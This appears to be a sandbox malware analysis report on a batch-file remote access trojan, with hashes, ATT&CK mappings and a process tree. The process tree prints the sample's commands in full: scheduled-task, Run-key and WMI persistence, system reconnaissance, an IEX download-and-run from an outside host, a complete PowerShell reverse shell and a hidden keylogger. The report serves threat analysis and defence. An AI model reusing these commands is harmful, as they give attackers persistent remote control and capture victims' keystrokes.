d6dd54719cfbf21b812aa5081e0a8a99fbc8e1078fd00baa5160ab6a80d938c9

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:33

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General

Target
rat_build_67134_014233.bat
Size 4KB
Sample260529-2g2fwsbs6s
SHA256 d6dd54719cfbf21b812aa5081e0a8a99fbc8e1078fd00baa5160ab6a80d938c9
MD5 0e35c5179a23ab292eee619037c3550b
SHA1 de28888f4e5e5b7db25cabc8aa75216217c40600
SHA512 aea962bba9767b30d16d163a4426c430a402b6e13ed62f39b62be133efe480fc22c9b3f164403c253c205b50fa13e9ad7d1b01a4d26977cfa5d6bb8e617b1d9b
SSDEEP 96:7JIGLWpd28EUyUVyAU92QYQA7jZt7PDHz7N1xgOqhzJiFgZk8mvlo1tE:FEpd28uU7O2rRTz91xb6JiFgkHl8E
TLSH
T1DBA10913A79BA224D5B02A08D9363914576DFAF71300C98DFB89CDC43E0CA57D1696FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_67134.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1284	powershell.exe
3480	powershell.exe
1876	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_67134 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_67134.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3564	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1768	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2448	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4164	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1284	powershell.exe
1284	powershell.exe
3480	powershell.exe
3480	powershell.exe
1876	powershell.exe
1876	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	764	WMIC.exe
Token: SeSecurityPrivilege	764	WMIC.exe
Token: SeTakeOwnershipPrivilege	764	WMIC.exe
Token: SeLoadDriverPrivilege	764	WMIC.exe
Token: SeSystemProfilePrivilege	764	WMIC.exe
Token: SeSystemtimePrivilege	764	WMIC.exe
Token: SeProfSingleProcessPrivilege	764	WMIC.exe
Token: SeIncBasePriorityPrivilege	764	WMIC.exe
Token: SeCreatePagefilePrivilege	764	WMIC.exe
Token: SeBackupPrivilege	764	WMIC.exe
Token: SeRestorePrivilege	764	WMIC.exe
Token: SeShutdownPrivilege	764	WMIC.exe
Token: SeDebugPrivilege	764	WMIC.exe
Token: SeSystemEnvironmentPrivilege	764	WMIC.exe
Token: SeRemoteShutdownPrivilege	764	WMIC.exe
Token: SeUndockPrivilege	764	WMIC.exe
Token: SeManageVolumePrivilege	764	WMIC.exe
Token: 33	764	WMIC.exe
Token: 34	764	WMIC.exe
Token: 35	764	WMIC.exe
Token: 36	764	WMIC.exe
Token: SeIncreaseQuotaPrivilege	764	WMIC.exe
Token: SeSecurityPrivilege	764	WMIC.exe
Token: SeTakeOwnershipPrivilege	764	WMIC.exe
Token: SeLoadDriverPrivilege	764	WMIC.exe
Token: SeSystemProfilePrivilege	764	WMIC.exe
Token: SeSystemtimePrivilege	764	WMIC.exe
Token: SeProfSingleProcessPrivilege	764	WMIC.exe
Token: SeIncBasePriorityPrivilege	764	WMIC.exe
Token: SeCreatePagefilePrivilege	764	WMIC.exe
Token: SeBackupPrivilege	764	WMIC.exe
Token: SeRestorePrivilege	764	WMIC.exe
Token: SeShutdownPrivilege	764	WMIC.exe
Token: SeDebugPrivilege	764	WMIC.exe
Token: SeSystemEnvironmentPrivilege	764	WMIC.exe
Token: SeRemoteShutdownPrivilege	764	WMIC.exe
Token: SeUndockPrivilege	764	WMIC.exe
Token: SeManageVolumePrivilege	764	WMIC.exe
Token: 33	764	WMIC.exe
Token: 34	764	WMIC.exe
Token: 35	764	WMIC.exe
Token: 36	764	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2816	WMIC.exe
Token: SeSecurityPrivilege	2816	WMIC.exe
Token: SeTakeOwnershipPrivilege	2816	WMIC.exe
Token: SeLoadDriverPrivilege	2816	WMIC.exe
Token: SeSystemProfilePrivilege	2816	WMIC.exe
Token: SeSystemtimePrivilege	2816	WMIC.exe
Token: SeProfSingleProcessPrivilege	2816	WMIC.exe
Token: SeIncBasePriorityPrivilege	2816	WMIC.exe
Token: SeCreatePagefilePrivilege	2816	WMIC.exe
Token: SeBackupPrivilege	2816	WMIC.exe
Token: SeRestorePrivilege	2816	WMIC.exe
Token: SeShutdownPrivilege	2816	WMIC.exe
Token: SeDebugPrivilege	2816	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2816	WMIC.exe
Token: SeRemoteShutdownPrivilege	2816	WMIC.exe
Token: SeUndockPrivilege	2816	WMIC.exe
Token: SeManageVolumePrivilege	2816	WMIC.exe
Token: 33	2816	WMIC.exe
Token: 34	2816	WMIC.exe
Token: 35	2816	WMIC.exe
Token: 36	2816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2816	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 4164	3640	cmd.exe	86
PID 3640 wrote to memory of 2448	3640	cmd.exe	87
PID 3640 wrote to memory of 764	3640	cmd.exe	88
PID 3640 wrote to memory of 2816	3640	cmd.exe	89
PID 3640 wrote to memory of 5060	3640	cmd.exe	90
PID 3640 wrote to memory of 1768	3640	cmd.exe	109
PID 3640 wrote to memory of 3564	3640	cmd.exe	113
PID 3640 wrote to memory of 1284	3640	cmd.exe	114
PID 3640 wrote to memory of 3480	3640	cmd.exe	116
PID 3640 wrote to memory of 1876	3640	cmd.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_67134_014233.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_67134" /tr "C:\Users\Admin\AppData\Local\Temp\_67134.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4164
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_67134" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_67134.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2448
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_67134", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_67134", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_67134.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_67134.txt
  2⤵
  PID:5060
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1768
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_67134.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1876

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 14a1fbdb44c34f7e0a2b66b1a201e71fe58a69c6d0f1468ff93ae771f1f08b76
MD5 c8aa90f9ebed387b459b9f02cb302cac
SHA1 4da14a88f68438db5f2ef3b792b13f6ac272102a
SHA512 d22f5144da0540ef1c958180c6464db999f7423a51a7114bfee5f083b4a0e9878e6df279a022e3dcc341d9ad44210879c1aa5fca2957374ebb0495d521919616
TLSH
T108115327B39C8921CC96153A409DAC1172B683DB81AEDE9FAFC5D214A07F984CB612A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_3shdsh4p.0gc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3shdsh4p.0gc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1284-3-0x0000016DFDF60000-0x0000016DFDF82000-memory.dmp

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